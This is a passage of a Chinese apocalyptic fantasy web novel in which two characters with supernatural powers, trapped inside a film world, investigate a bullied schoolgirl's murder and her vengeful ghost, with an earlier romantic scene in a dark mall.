林随安显然也从他的反应里猜到了这一点,她面色复杂:“你这异能还真是特殊。”
程承笑了一下,看了一眼还伏在地上的人,后者察觉到他的视线,抖了一下。
程承冷声道:“安分点。”
“欸欸欸,好好好。”那人连忙应声。
伏苓的声音从上面传来:“干什么呢?还不上来?”
程承应道:“来了。”
三人依次上了三楼,不走电梯,也不走楼梯,想来也是一桩奇事。
三楼一片漆黑,也不知道是什么地方。
林随安恢复了些精神,道:“和平广场每一层的布局应该还是与平常商场一样,这边已经到尽头了,我们往那边走。”
程承点头,又想到黑暗中他们也看不到自己的动作,便开口赞同道:“行,小心点,不知道店外会不会也有危险。”
话音未落,程承感受到一只温凉的手挤入他的掌间,他脚步微顿,一侧的人声音轻轻,但明显带着笑意:“怕黑吗?”
程承不怕黑,他只是怕洋娃娃。
但他轻轻缩了缩
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指尖。
手心里的那只属于伏苓的手算不上柔软,因为常年拿剑,掌心还有小小的茧子,但不知为何,他只觉得一颗心都被莫名其妙的情绪填满,让他舍不得放开。
他喉结滚了一圈:“……怕。”
紧了紧手心,只是牵个手而已,他却感受到了自己手心里渗出的些许汗水。
程承不免闭眼,暗暗骂道:
……没出息。
伏苓像是无聊似的,修建得干干净净的指尖挑逗一般摩挲着程承的手背,微麻的电流感从手背窜至心脏,让他乱了几拍呼吸。
“额,你们怎么不说话?”四人突然沉默着往前走了一段路,林随遇不免有些犯怵。
林随安:“累了。”
“哦,那还是歇会。”林随遇连忙道。
伏苓指尖顿了顿,想将手抽出来,却没想程承一反常态地勾住了她想要溜走的手,强势地将指尖挤入她的指缝。
十指相扣。
这可就不是一般的牵手壮胆了。
伏苓有些愣怔。
说起来……
他们俩出了幻境之后就没再说过那个吻。
伏苓本是不在意的,但现在,她终于后知后觉地想。
他什么意思啊?
喜欢我?
什么时候喜欢的我?
为什么不说清楚?
没等她思考出个所以然来,身侧的人微微低头,两人之间的距离忽地拉近。
静谧的黑暗里,伏苓好像听到了他的心跳。
程承稍稍低下头。
因为看不到伏苓的身影,他不小心凑得近了些,额间的碎发扫过伏苓的脸颊,引起一阵酥麻。
他道:“我害怕。”
“诶。”林随遇对光线敏感,指着前面那点微弱的光源道:“那是不是电影院?”
……
“你们就是新来的转校生吧?”一位女老师扫了祝无忧一眼。
祝无忧眨眨眼睛,看着眼前空无一人的校园,愣愣道:“是、是吧?”
女老师一脸疑惑:“是就是,不是就不是,是吧到底是是还是不是?”
祝无忧晕了两秒,这是什么绕口令?
再一程上前一步,客客气气道:“抱歉老师,我们确实是转校生,但是迷路了。”
“哦,这样啊。”女老师也没多想:“这两天就高三二班有两个转校生,在前面那栋楼四楼。”
再一程笑道:“谢谢老师,那我们先去上课了。”
说完,他便拉着祝无忧往前面的教学楼走。
女老师看了他们的背影一眼,小声嘀咕:“这转校生还挺显老的。”
其实倒也不是显老,祝无忧还好,白白净净的确实像个高中生,只不是被八年的灾害磨出了些许肃杀,所以气质上还是跟寻常高中生有点区别的。
重点是再一程,他也才二十出头,但眉眼深邃,显得格外成熟,就不说这八年磨出来的气质了,单看长相就不像个高中生。
祝无忧反应过来,也明显察觉到了这一点,她面色复杂:“就一定要是转校生吗?不能是实习老师,实习食堂阿姨什么的吗?”
再一程还在思考这场电影:“看来是要我们自己去挖掘剧情了。”
祝无忧:“……”
得,白说。
43. 和平广场10
两人进了一旁的教学楼。
许是在上课,楼道里空无一人,偶尔还传来老师慷慨激昂的讲课声。
墙壁瓷白,窗户在走廊一侧,另一侧是高大的树木,微风拂过,树叶发出哗哗的声响。入口侧边是一张显眼的表彰墙。深红背景中,上半部分贴着成绩优异的学生照片和基本荣誉,下半部分则是学校举行的大型活动的现场照片。
不知看到了什么,再一程的目光停留在表彰墙的下半部分,他轻轻皱眉。
那是一个女孩子在跳舞,舞台上灯光昏暗,女孩一身奇异的黑紫色服装,头上带着银制的发饰,摆着落幕的动作。
这件衣服……似乎与影厅走廊里宣传片上的女孩的衣服有些相似。
他没记错的话,那部电影的名字叫,诡巫。
还没来得及细看,两人就被一声怒喝打断:“都上课多长时间了怎么还不进教室?”
虽然阔别学校多年,但祝无忧还是下意识抖了一下,拉起再一程就跑:“我们马上就走!”
等跑到三楼的楼梯上,教导主任的阴影才可以勉强忽略。
再一程奇异地瞥了一眼大口喘气的祝无忧:“你还怕教导主任呢?”
在末世日日与感染者相对,教导主任什么的相较来说确实太弱了。
祝无忧瞪大眼睛:“这是每一个应试教育下学生该有的正常反应!”
再一程勾勾唇角,没再继续纠结这个话题,朝着四楼走去:“刚刚表彰墙上的那张照片应该很重要,我们有空再去看看。”
祝无忧点点头,跟上他,又疑惑道:“所以这是电影里面?”
电影院布置得那么吓人,电影里倒像个世外桃源一般,可真是奇怪。
再一程没有放松警惕:“肯定是有危险的,只是藏在暗中,不然影厅里那些人怎么会死?”
祝无忧打起精神,来到了高三二班的门口。
前门没有关,似乎是早就知道有转校生要来,所以班级里没有上课,同学们正低着头写练习。
两人出现在门口的时候,老师便拍拍手道:“你们就是转校生吧?先进来。”
被讲台上一双双眼睛盯着,祝无忧还有些怯场,再一程倒是不甚在意,却也规规矩矩地站在祝无忧身侧。
老师笑眯眯的:“两位介绍一下自己吧。”
来了,又到了最为社死的自我介绍环节。
祝无忧欲哭无泪,但还是硬着头皮道:“大、大家好,我叫祝无忧,祝福的祝,无忧的忧……”
底下人发出了善意的笑声。
她长得漂亮,如此情境下,有男生甚至兴奋地开始起哄。
再一程扫了底下人一眼,言简意赅:“再一程。”
他声音低沉,长相又算是上乘,是高中里少见的那种成熟系的帅哥。
见状,底下的女生们顿时开始给自己的小姐妹使眼色。
台下骚动声大了些,老师摆摆手按下那些声音,指着靠窗的那排道:“那边还有两个空位,你们就坐在那吧。”
两人顺着老师的指向看去,教室里的位置都是两人一起,他们的位置在最后一排,前面一排空了一个位置,只有一个男生。
祝无忧乖乖说了声“谢谢老师”,抬脚向那处空位走去。
直到两人落座,教室里还时不时传来窃窃私语。
老师拍拍手:“好啦,既然新同学来了,那我们就开始上课吧。”
闻言,同学们也不再言语,从桌子上拿出课本准备上课。
两人的桌上摆着崭新的课本,祝无忧随手翻开,另一只手却在桌子下方飞快地抽出一张牌。
她瞥了眼老师,见他没有朝自己看过来,便飞快地低头查看牌面内容。
看清上面的文字后,她皱了皱眉,将牌递给了再一程。
后者接过,将牌塞在课本里,上面写着——洞悉:又来了两个转校生啊。
再一程看了祝无忧一样,趴在桌上侧头看她:“看来之前还有别的转校生。”
祝无忧点点头,用眼神示意了一下前面的位置:“好像是这个人。”
再一程不动声色地朝前看去。
祝无忧前面的位置就是那个空位,上面摆着很多书,一看就是经常有人坐在这里。
教室的座位分布相对来说还是比较规律的,学校也不担心早恋,每一对同桌都是一男一女,女生在右边,男生在左边。
而祝无忧前面一整列都是女生,所以可以确定,这个空位原本是一个女生。
再一程很快想到了另外一部电影,《诡巫》。
难道这个莫名失踪的女孩就是所谓的诡巫吗?
两人进来的时候已经上课有一段时间了,所以这堂课实际上只持续了十分钟不到,下课铃声就响了。
老师没什么拖堂的想法,拿着书离开,教室里顿时恢复了喧闹。
周围有几个男生女生凑过来搭话。
一个扎着马尾辫的女生冲祝无忧笑笑:“你好呀,我叫思佳。”
祝无忧:“啊,你好你好。”
这个年纪的女生素面朝天笑起来也格外明艳:“你们为什么会转到我们学校呀?”
祝无忧胡扯道:“你们学校升学率高嘛。”
思佳啊了一声:“可是我们学校升学率倒数第一啊。”
祝无忧:……草率了。
再一程插嘴道:“我们俩成绩不好,跟之前学校比,荥城一中确实升学率高。”
“这样啊。”思佳没多想。
祝无忧忍不住了:“不是,你们不是一中吗?怎么会升学率低?”
思佳闻言短暂地慌乱了一瞬,下意识看了一眼祝无忧前面的空位:“本来确实是很好的……”
再一程察觉到了她的动作,挑了挑眉:“本来?”
“啊,没什么。”思佳陡然回神,打着哈哈离开了。
祝无忧和再一程对视一眼,意识到了不对劲。
再一程戳了戳前面一直沉默寡言的男生:“你好?”
那人静了两秒,才缓缓转过身来。
看到他的脸,祝无忧微微一愣。
这男生其实长得还算清秀,应该算是高中女生会很喜欢的类型,但却不知为何从他们俩进入教室以来连头都没抬过。
再一程:“能借两支笔吗?我们没带。”
祝无忧嘴角抽了抽。
这个理由找得好啊。
男生漆黑的瞳孔一动不动,安静地看了再一程几秒。
后者一脸坦然,那人才转了回去,从笔袋里抽出两支黑色水笔递给他们。
再一程笑道:“谢了啊,诶,你叫什么名字啊?”
那男生沉默了一瞬,道:“陈彬。”
再一程颔首:“你好,陈彬。”
陈彬没说话,只是转身站了起来离开了教室。
祝无忧抓住时机,立马起身坐在了前面女生的位
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置上。
书桌很整洁,按照书本的大小排列着,最上面还有一本用夹子加起来的试卷。
姓名那栏写着:庆婷。
位置上没什么有效信息,祝无忧很快将东西归位,回到了自己的座位上。
再一程也没闲着,他跟周围男生聊了两句,知道这节课间时间比较长,是用来给同学们自由活动的。
有这时间当然要好好利用起来,他对着祝无忧使了个眼神,转身向外走去。
祝无忧忙跟上。
两人飞快穿过人群下楼,再次来到了表彰墙边。
祝无忧:“那个女生叫庆婷。”
再一程指尖抵着那张照片下面的“表演者”一栏,上面赫然写着“庆婷”二字。
找对了!
祝无忧小声道:“还有姓庆的?”
“你们俩一个姓祝,一个姓再,怎么看都是你们的姓氏更生僻吧?”男生的声音传来。
是陈彬。
他脸上没什么表情,只是目光在触及到庆婷的照片时略微有些躲闪。
再一程笑了一声:“是你啊,我们刚刚来的时候就注意到了这张照片,她跳舞肯定很好看吧?”
陈彬沉默了两秒,突然情绪激动起来:“你们胡说什么!”
周围喧闹的人声安静了些。
陈彬却好像被踩中了尾巴,声音尖锐:“没有这个人,我们学校没有这个人!”
说完,他跟有什么洪水猛兽在身后追一般疯狂朝着大门跑去。
再一程饶有兴致地看了一眼照片里女孩绚烂的笑颜:“有意思。”
他看向祝无忧,后者被陈彬吓了一跳,此时正愣怔着看着他奔跑的背影。
再一程道:“如果是电影的话,你觉得大结局会是什么?”
祝无忧回神:“啊,事情解决阖家欢乐?”
再一程笑了一下:“既然确定了主角,那不如我们就先从了解主角出了什么事情开始,知道情况了才可能解决事情。”
祝无忧点点头:“那我们怎么了解庆婷的事情啊?”
看陈彬的态度,这学校里的人恐怕都对这个女生避之不及,似乎不太可能跟他们聊起之前的事情。
再一程神秘地笑了笑:“很简单。”
祝无忧很快就知道他说的简单是什么了。
再一程直接站上高三二班的讲台,大声问道:“刚刚在表彰墙上看到了一张我们班同学的照片,我很感兴趣,请问庆婷是哪位?”
话语落下,全场鸦雀无声。
祝无忧躲在座位上,抽出一张又一张的洞悉牌,几乎要讲课桌塞满。
再一程的计划确实很简单,他负责勾起他们对庆婷的记忆,祝无忧则是洞悉他们的内心。
根据两人的猜测以及表彰墙上的信息,事情的发生多半源于那场舞蹈。
所以只要他勾起的记忆越靠近庆婷跳舞的那天,那么他们就越有可能触及到真相。
教室里的氛围近乎凝固,但再一程就像毫无知觉一样,笑着继续:“这位庆婷同学的跳舞水平应该很高吧?我看那张照片上面,她穿着的似乎不是传统的舞服,大家当时都看到她跳舞了吗?”
说着,他露出了些许遗憾的神色:“好可惜,早知道我应该早些时日转过来,好歹还能欣赏一下庆婷同学的舞蹈。”
“够了!”陈彬出现在教室门口,他面色铁青,眼里满满的都是恐惧:“不要再提起她了。”
44. 和平广场11
再一程扫了一眼还在疯狂抽卡的祝无忧,道:“陈彬同学好像对庆婷很在意,你们是有什么关系吗?”
眼见面前的男生脸色大变,他露出一副恍然大悟的样子:“所以你们是情侣?”
这件事他早有猜测,根据祝无忧所说,影院的那几部电影说的应该是同一件事,而在其中那部跟爱情电影一样的名字,就昭示了这所中学里面会有一对情侣。
其中的一人,正是身为主角的庆婷。
至于另外一个,多半就是与她交流最多的人,比如说,同桌。
教室里落针可闻,只能听到陈彬略显恐慌的喘息声,他像是听到了什么可怕的事,喃喃:“不是,我们不是……”
他面露痛苦,似乎想起了什么难以直面的记忆。
再一程勾唇。
看来是没问题了。
他略带歉意的笑了一下:“抱歉,是我猜错了,误会你们了真是不好意思。”
话音刚落,上课铃声便响起来了。
高跟鞋的声音传来,教室里的同学们慌忙回到位置,再一程也没留在讲台上,顺着人流回到了自己的位置。
“陈彬,都上课了,还站在这里做什么?”女人威严的声音传来。
陈彬拼命控制住自己的情绪,低声道歉:“对不起。”
他低着头回到了自己的座位上,甚至连与再一程对视的勇气都没有。
这位女老师是教英语的,她今天不太想上课,便道:“大家把第四单元好好读一读,要大声地朗读出来。”
台下传来了“哗哗”的翻书声。
很快,诵读英语的声音便响了起来,那女老师便也坐在了讲台上批改试卷,没再关注底下的情况。
这种情况下实在是太适合聊天了。
再一程凑过去:“怎么样?”
祝无忧手上的牌两只手都拿不住,她塞了一半给再一程:“一起看。”
为了保证获取情报的完整性,再一程在讲台上说话的时候,祝无忧几乎将每一位同学的心理活动都复刻在牌面上了。
再一程掀开最上面的一张,上面写着:妈的这个再一程也太帅了吧。
再一程:“……”
他面不改色地把这张塞到最下面,下一张写着:靠,他喜欢庆婷?凭什么!!!!
几个感叹号深刻地表现出了这张牌面所洞悉的那人情绪之浓烈。
再一程:“……”
他满脸问号,现在的高中生到底在想什么啊?
祝无忧已经翻了好几张牌,看他愣在原地不动,忍不住道:“你发什么呆呢?”
再一程耳根微红,将这张牌也塞进了最后:“没,现在看。”
接下来的牌面倒是正常了,上面写着:
他说了庆婷的名字,他今晚会死吗?
再一程皱了皱眉,这个“他”说的必然是自己了,但为什么说了这个女孩的名字就会死呢?
而且,为什么是晚上?
之前跟旁边的男生交流,再一程就得知,荥城一中是一所寄宿制学校,大家晚上都是住在学校的宿舍里。
所以这个人说今晚会死,意思是宿舍里有什么问题吗?
意识到这件事情实在过于诡异,再一程敛下心思,快速地翻看起接下来的卡面。
接下来的牌面其实大多都是重复的,毕竟有很多人都是围观者,他们所看到的画面、所听闻的事情,都是单一且片面的。
而在其中,陈彬的那几张牌面上的内容透露出的信息就比较多了。
两人快速翻看完,交流了一下,捋出了这件事情的前后经过。
女生庆婷是一名转校生,她家境算不上富裕,从小生活的农村有着一些较为独特的习俗,在那里的每一个孩子都需要跳傩舞。
傩舞其实是国家非物质文化遗产,所以当老师知道庆婷会跳傩舞之后,便半是强迫半是诱惑地给她报了校庆的表演。
这本该是一个宣扬非物质文化遗产的机会,但由于她生活的那个村落所跳的傩舞与大众所熟知的傩舞相比,多了几分诡异和野蛮。
当她在校庆上原汁原味地将傩舞跳出来后,班级里的同学便再也不敢与她靠近了。
说是因为一支舞孤立她,其实只不过是校园霸凌的借口罢了。很多同学都不喜欢她,可能是因为她长得漂亮,也可能因为她不太爱说话。
看不顺眼的理由总是多种多样毫无逻辑的。
这种情况愈演愈烈,她形单影只地度过了些许时日,高考近在眉睫,这些事情本该就这么悄无声息地以这样一个略显遗憾的结局结束。
而事情的爆发就在于,周一早上,庆婷死了。
那天,是雨灾开始的夜晚。
但奇怪的是,她没有变成异能者,也没有变成感染者,淋了雨后,她便死去了。
尸体被扔在宿舍楼下,腹部被利器贯穿。
凶手很快被抓到,是一名流窜进校园里的通缉犯,选中庆婷作案的理由也简单得荒谬。
因为庆婷孤身一人。
这件事情本该以凶手落网,死者安息落下帷幕,但到了晚上,有人在校园论坛匿名发布了庆婷的死状。
顿时,充满恶意的揣测和侮辱袭向这个已经逝去的女孩。
那些所谓的正义使者,用最恶毒的语言抨击着一个受害者。
加害者隐身,受害者被指责。
校园论坛锁定IP非常简单,校方很快抓住了那几个发布照片的学生,并勒令他们立刻删除。
但除却这几个人外,全校近乎一半的学生都在那个帖子里发过言。
然而,就在当晚,那些发布照片的学生全部都死去了
与庆婷一样的死法,一个挨着一个躺在与庆婷一样的位置上。
霎时间,学校内谣言四起,校方坚定,这是有人蓄意加害。
这件事情实在是太过恶劣,实在是不方便向社会严明细节,而且离高考也就只是几天时间了,便索性直接封锁了学校。而学生和教职工则认为这是庆婷来复仇了。
在之后的几天里,只要有人提起庆婷的名字,那人当晚便会死去。
“怪不得那张牌面在猜测我今晚会不会死。”再一程瞥了眼老师,装模作样地翻了翻书。
祝无忧没说话。
再一程察觉到不对劲,凑过去看到了她通红的眼眶,吓了一跳:“你……你怎么了?”
祝无忧把眼泪憋了回去,咬着牙:
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“他们太过分了。”
亏她原先还觉得这些同学还怪热情的,没想到居然会做出这种事情。
这些学生看似没做什么出格的事情,只是嘴上说了两句,打出了几个不痛不痒的字句。
但也正是这些流言蜚语才最为伤人心。
祝无忧吸吸鼻子,看向再一程:“但是为什么学校不报警呢?”
不管怎么说,似乎报警抓住凶手才是最正确的事情,学校怎么能封闭消息,让学生安心上课呢?
而且这件事居然没有曝光出去?
祝无忧提出疑问的时候,其实已经自己解答了。
因为是电影,所以有一些bug很正常。
但再一程却不这么认为,他锁着眉:“我不认为这是一部单纯的电影,既然和平广场让我们进入这个电影,那就说明这部电影里面的剧情是有意义的。”
他顿了顿:“至于为什么不报警,可能是因为出了这种事情,对学校的声誉损害太大,他们下意识想的就是大事化小,小事化了。”
祝无忧耷拉着脑袋:“好吧。”
她顿了顿:“我还有一个疑问。”
再一程认真看着她。
祝无忧皱起眉:“为什么她淋了雨却……”
没有变成感染者或是异能者,而是直接死了?
后面半句话她没来得及说出口。
因为坐在前面的陈彬像是忍无可忍一般猛地站起身。
椅子在地上划出刺耳的声响,祝无忧有些惊疑不定地抬头看着这人。
他们俩只能看到他的背影,只见他的肩膀微微耸动。
可能是气的吧。
反正在所有人的目光都转向他的时候,陈彬指向了身后的再一程:“老师,他们俩一直在讲话,太吵了。”
再一程:“……”
祝无忧:“……”
告状精!小学鸡!!
英语老师的目光扫过来,语气严肃:“讲话是吧?你们俩给我站出去。”
祝无忧狠狠瞪了陈彬一眼,起身暗骂:“呸,坏男人,幸好庆婷没跟你在一起。”
也不知道陈彬有没有听到,反正他一直低着脑袋,好像什么话也听不到,什么事情也看不到一样。
两位转校生在来到荥城一中的第二节课就被光荣地请出了教室。
祝无忧靠在墙上:“唉,我都没被老师罚过。”
她虽然算不上成绩最优异的那一批,但起码也是乖乖女。
再一程倒是面色如常:“刚好,出来谈更方便一点。”
他就没把这当成是真正的课堂。
他侧头:“你刚刚想说什么?”
祝无忧耷拉着脑袋:“没什么,应该跟解决电影关系不大,我们还是先把眼前的事情解决了。”
“行吧。”再一程抱着臂倚在墙上:“所以电影的结局会是什么?复原她死亡那天晚上的事情?找到那个装神弄鬼的人?还是让所有嘴过庆婷的人付出代价?”
祝无忧瘪嘴:“我觉得应该是复原案发现场和找到那个装神弄鬼的人。”
让所有嘴过庆婷的人付出代价,这个工程量有点太大了。
真要是这个,那不是强人所难吗?
45. 和平广场12
再一程侧过头去,夕阳的余晖照在他脸上,高挺的鼻梁将他的面容分为一明一暗:“你觉得会是谁?”
祝无忧“嘿嘿”一笑:“我不知道。”
她顿了顿,将星牌在空中摊开:“但是我可以预言一下。”
预言牌旋转几圈,轻飘飘落在祝无忧手心,它没有给出准确的答案,但却给了一个词:宿舍。
原本荥城一中是有晚自习的,即使是高三的学生也要上到十点,但是由于凶手还没抓住,黑夜实在是有些危险,所以学校这次倒是很大方地取消了晚自习。
这节英语课恰好是最后一堂课。
下课铃声响了之后,大家就踩着逐渐昏暗的天色,向自己的宿舍走去。
这个宿舍,多半是指庆婷的宿舍。
一般来说,一个班级的学生宿舍会在一起,所以想要找到庆婷的宿舍,只需要跟着高三二班的学生去往他们的宿舍就好了。
祝无忧很快锁定目标:“思佳!”
扎着马尾辫的女生转头望过来,笑道:“聊天也不知道避着点,你看,被老师发现了吧?”
祝无忧瘪瘪嘴:“还不是因为陈彬打小报告。”
思佳皱皱眉:“也不知道他今天什么情况,之前明明没有过的呀。”
祝无忧有些心虚地摸摸鼻子。
因为他们俩聊到他前女友了啊。
但祝无忧很快又不心虚了。
拜托,这可是渣男诶!
男女生宿舍是分开的,再一程跟另外一个男生并肩离开,对着祝无忧比了个手势。
祝无忧明白,找宿舍嘛,晚上行动嘛。
但她一个人害怕嘛!
她连忙比了个“不行”的手势,再一程长腿微顿,似乎有些无奈,打手势表示“等我”。
祝无忧立马放心了。
思佳一直注意着他们的交流,好奇道:“你们俩关系这么好啊!”
她福至心灵,笑着打趣:“男女朋友?”
祝无忧连忙正色:“不要瞎说,不能早恋的。”
……
夜色降临得很快,女生这边是住满了的,原本庆婷那空出一个床位,祝无忧就顺理成章地被安排在了这里。
宿管阿姨一脸歉意:“不好意思啊小同学,就这一个床了,你要是害怕……”
“没事没事!”祝无忧拍拍胸脯,“我胆子大着呢,不用麻烦阿姨啦!”
阿姨笑得开心:“哎呀,其实也可以跟阿姨住,另一个宿管阿姨不在,刚好有个空位。睡在这床上也怪瘆人的。”
还有个宿管阿姨?
祝无忧歪了歪脑袋,没多想。
阿姨很快走了。
祝无忧左右看了看,宿舍是上下铺,她的床位在下铺。
属于她的书桌上摆着一堆书。
她随意翻了两本,都是旧书,应该是庆婷用过的。
她瞥了一眼还在写作业的舍友,背对着她们抽了张预言牌。
上面写着“床底”二字。
祝无忧晃晃悠悠走到床边,微微俯身。
床下黑漆漆的,没什么东西,唯一值得注意的是一个床脚断了,用十几本书摞在一起垫在下面。
看来预言牌说的就是这几本书了。
祝无忧假装无意地问旁边的女生:“这个书,我能不能看看啊?”
女生被打扰有些不耐烦,看到她指着的书面露疑惑:“这些都是没用的书,你要这个干什么?而且,抽一本书床都会倒的,最好是不要吧。”
祝无忧摸摸下巴。
好像是哦。
但是……
她弯眼一笑,迅速抽出一张星牌:“定身!”
宿舍里沙沙的翻书声陡然消失,所有人都被定在原地。
祝无忧得意地转过身,单手抽出几张星牌:“到我的魔法时间啦!”
她抛出一张星牌,指尖一荡,面前的床铺便摇摇晃晃地脱离地面,定在半空。
垫在下面的书依次飞了出来,整齐地竖在祝无忧面前。
她又抽了一张预言牌,星牌稳稳当当地停在了其中一本厚厚的书前面。
看来就是这本了!
祝无忧将书翻开。这才发现里面被掏空,严丝合缝地放着一个录音笔。
她拿起录音笔转了转:“这怎么用的啊?”
她琢磨了半天,终于点开了播放键。
“滋滋滋——”
里面传来了刺耳的电流声。祝无忧下意识拿远了一点:“我靠。”
轰隆——
巨大的雷声从录音笔里响起。
“求你了,开门吧。”这是一个女生的声音,祝无忧猜大概率是庆婷。
“你不去女寝,来男生宿舍干什么?”这个声音祝无忧记得,是陈彬。
庆婷声音虚弱:“她们不给我开门,快下雨了,你能不能让我进去?”
陈彬犹豫了两秒,还是拒绝了:“不行,女生不能进男寝……你受伤了?”
“嗯,有人要杀我。求你了,开门吧,让我进去吧。”庆婷的声音满是哀求。
祝无忧皱着脸。
雨声落了下来,劈里啪啦的。
庆婷的声音陡然变得尖锐而刺耳:“啊!”
祝无忧抖了一下:“咋了这是?”
她的声音和录音笔里陈彬的声音重合,陈彬也在喊:“你怎么了?!”
剧烈的拍门声,庆婷疯狂喊着:“开门!求你了,开门啊!”
祝无忧突然懂了,这是要变成感染者了。
可是,后来她为什么还是以正常人的样子死了?
门内的陈彬显然是被庆婷疯癫的模样吓到了,喃喃说着不行。
录音笔浸了水,声音变得滋滋啦啦起来。
祝无忧抿了抿唇,将录音笔塞进口袋,挥手将书和床都放回原样,又给几个室友抽了几张牌让他们去睡觉,然后从窗户翻了出去。
月上枝头,再一程很快携着风而来。
再一程解释:“宿舍人多,耽搁了一下。”
他运气一般,没分到单独的宿舍,所以得等同宿舍的人睡着了才能偷偷出来,刚好分的那几个室友还是夜猫子,再一程暗暗催促了两声才让他们乖乖睡觉。
他观察着祝无忧的神色:“等急了吗?”
祝无忧摆摆手:“没有没有,我也就等了五分钟不到。”
她把录音笔给再一程:“你听听这个,从庆婷床底下翻到的。”
两人躲在角落里把录音笔又从头播放了一遍。
再一程面
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色凝重:“所以她是死于,那场雨?”
祝无忧瘪嘴:“哪能这么说啊,通缉犯,陈彬,还有那些不给她开门的同学都是凶手。”
再一程点点头:“也是。另外就是……她为什么没有变成感染者?”
祝无忧讪笑两声:“我哪知道?之后跟程承他们讨论一下吧。”
她突然顿了一下,面无表情倒:“对了,之前那群学生不是说,你活不过今晚吗?你说一会会不会有人要来杀你?”
这倒是有可能,不过……
“你不是也说了吗?”再一程道。
祝无忧这下多了些紧张,只觉得周围的风都带着杀意,她靠近了再一程些:“你你你别乱说。”
再一程笑了声,抬手停住了周围的风。
好的,现在连风都没了。
四周静得可怕。
祝无忧更害怕了:“你是不是故意的?”
再一程一脸无辜:“啊?”
荥城一中宿舍条件还算不错,宿舍楼边是一片很大的湖,据思佳所说,名为静思。风声停止,周围细碎的声音便清晰可闻。
只听见静思湖上传来击鼓的声音,声音不大,若是风还在吹,怕是能直接将鼓声吹散。
再一程看向鼓声传来的方向,眯了眯眼:“去看看。”
到了晚上,安静的校园里还是有几分鬼片的既视感的,祝无忧白日里的放松荡然无存,当机立断抱住了再一程的手臂:“哥,捎我一程。”
再一程气笑了:“这你也怕?”
祝无忧振振有词:“这种环境,这种氛围,多适合出来个乱七八糟的东西啊。”
话音未落,远处的鼓声猛地击下,节奏加快,像是在印证她的话。
祝无忧抱得更紧了,她小声但声嘶力竭:“你看!你看你看你看!”
再一程:“……”
他叹了口气:“行,走吧。”
两人虽然跟连体婴一样,但速度还是极快的,很快便到了静思湖边。
湖面上站着一个身着黑紫色服饰的女孩,随着鼓声的律动,她动作有力,每一步都充斥着满满的力量感,将头上那发饰撞得哗哗作响。
虽然这副场景极其适合驻足观赏,但祝无忧还是短暂地怀疑了一下人生:“她为什么可以站在水上?”
再一程:“可能是鬼吧?”
祝无忧猛地转头,眼里满是惊慌:“你变了!你怎么可以吓我?”
再一程对上她的双眸,有些无奈:“这个人,应该就是庆婷。”
但她不是已经死了吗?
祝无忧崩溃了:“这到底是什么电影啊?灵异吗?”
鼓声骤然停止。
祝无忧瞬间闭嘴,躲到了再一程身后:“怎怎怎么了?”
庆婷站在水面上,静静看着他们俩。
她其实长得很漂亮,皮肤白皙,眉眼精致,身材高挑,可以说算得上是高中数一数二的小美女。
但此时她面无表情,轻飘飘地站在水面上时,显得格外阴森。
祝无忧探头,与她对上目光,顿时又缩了回去。
她确实很同情这个女孩子,但耐不住她害怕鬼。
庆婷突然开口,许久没说话的嗓子发出的声音带着点嘶哑:“我错了吗?”
46. 和平广场13
再一程明白,这是在问她生前发生的那些事情。
他摇摇头:“你没有错。”
祝无忧实在想发言,也壮着胆子探出头来,真诚道:“你怎么会有错,错的是那些坏人。”
庆婷似乎笑了一下,只是那笑意不见眼底:“可是只有我受到了惩罚。”
如果她没有错,那为什么只有她受到惩罚了呢?
再一程:“法律会审判他们。”
“那在网络上诋毁、辱骂我的人呢?”庆婷情绪突然激动起来,字字泣血。
再一程沉默了片刻,不知道该说什么好。
以当下的环境,似乎,确实没办法对他们做什么。
像是知道了再一程的想法,庆婷讽刺一笑:“你看,你也知道的。”
她声音不大,很快消散在风中。
祝无忧不免心生同情,但也不知该怎么安慰才好,只能道:“那你想我们做什么?”
她也不傻,自然明白庆婷出现在他们俩面前必然是要“发任务”的,不然这电影怎么继续下去?
但庆婷接下来的话却让她深觉不可思议。
庆婷道:“我要他们付出代价,明天正午之前,我要所有对我造成伤害的人都付出代价!”
祝无忧瞪大眼睛:“这怎么可能做到?”
离明日正午也不过十个小时不到,怎么可能找到所有对庆婷造成伤害的人?
要知道,这些人里面可是包含了在网上随口一说的人啊。
再一程也拧着眉:“这个要求我们做不到。”
庆婷声音变得有点尖锐:“那还不是因为你们作弊?”
再一程:“……”
祝无忧:“……”
用洞悉牌收集信息什么的,确实算是作弊。
祝无忧还是不服气道:“这是我的异能,怎么能算作弊?”
庆婷:“我不管,反正明日正午之前,你们若是不能让那些人受到惩罚,就永远留在这里吧!”
说完,她也不管两人的反应,原地消失了。
祝无忧:“……还有这种人的?”
她还以为庆婷是那种温温柔柔的女孩呢,没想到居然能做出这样一言不合就消失的行为。
但这人都走了,也没办法讨价还价,再一程叹了口气:“算了,看来还是得找到那些口诛笔伐的人。”
祝无忧靠在湖边的大石头上,语气幽幽:“这怎么找啊?”
难不成继续用洞悉牌?
可以是可以,但这么短的时间里肯定是没办法收集到所有人的相关心理活动的。
怎么想都是个死局吧?
祝无忧有点想摆烂:“要不我们先回去睡觉吧,明早再说。”
再一程也靠在石头上,两人的肩膀无意间触碰到,他叹了口气:“行吧,明天可以再试试今天的办法,还能稍微锁定一些人。”
但就算如此,发表言论的人肯定是不止班级里的人的。
祝无忧突然想到了什么,直起身来:“诶,明天周几?”
再一程:“好像是周一。”
众所周知,高中生是没有周末的,荥城一中也是如此,白日里虽是周日,但也得上课。
“我知道该怎么办了,”祝无忧“嘿嘿”一笑,表情也生动了许多:“周一有升旗仪式诶。”
闻言,再一程也明白她的想法了。
升旗仪式算得上是全校师生聚集得比较齐全的活动了,如果能在那时候使用洞悉牌,或许能找到尽量多的目标人物。
不过再一程还在意一个问题:“全校师生那么多人,你的异能能撑住吗?”
一般来说,异能的使用皆有上限,具体取决于多个方面,包括体力,异能强度、潜力,以及单次使用量之类的。
祝无忧向来没什么大的追求,在临安也是能不去危险的地方就不去危险的地方,所以使用异能的次数算不上多,也就没出现过异能透支的情况。
再者,她白日里使用的洞悉牌也不算少,但也没有什么不适的症状。
所以祝无忧还真不知道自己异能的上限在哪,只能讪讪道:“就……到时候看呗。”
再一程沉默了一瞬,最后还是道:“好吧。”
风儿带着消息回到再一程手上,他看向祝无忧:“没人了,我们再待下去也不会有什么进展的,回去吧。”
祝无忧点点头,两人便并肩沿着湖回了宿舍。
盛夏里,夜晚的风格外凉爽,带着湖面的水汽,很是舒服。
路过男生宿舍的时候,祝无忧奇怪地看了没有转弯意图的再一程一眼:“你不回去吗?”
再一程面不改色:“先送你。”
“哦。”祝无忧没多想,只觉得再一程这人还怪好的,还知道先送女生回宿舍。
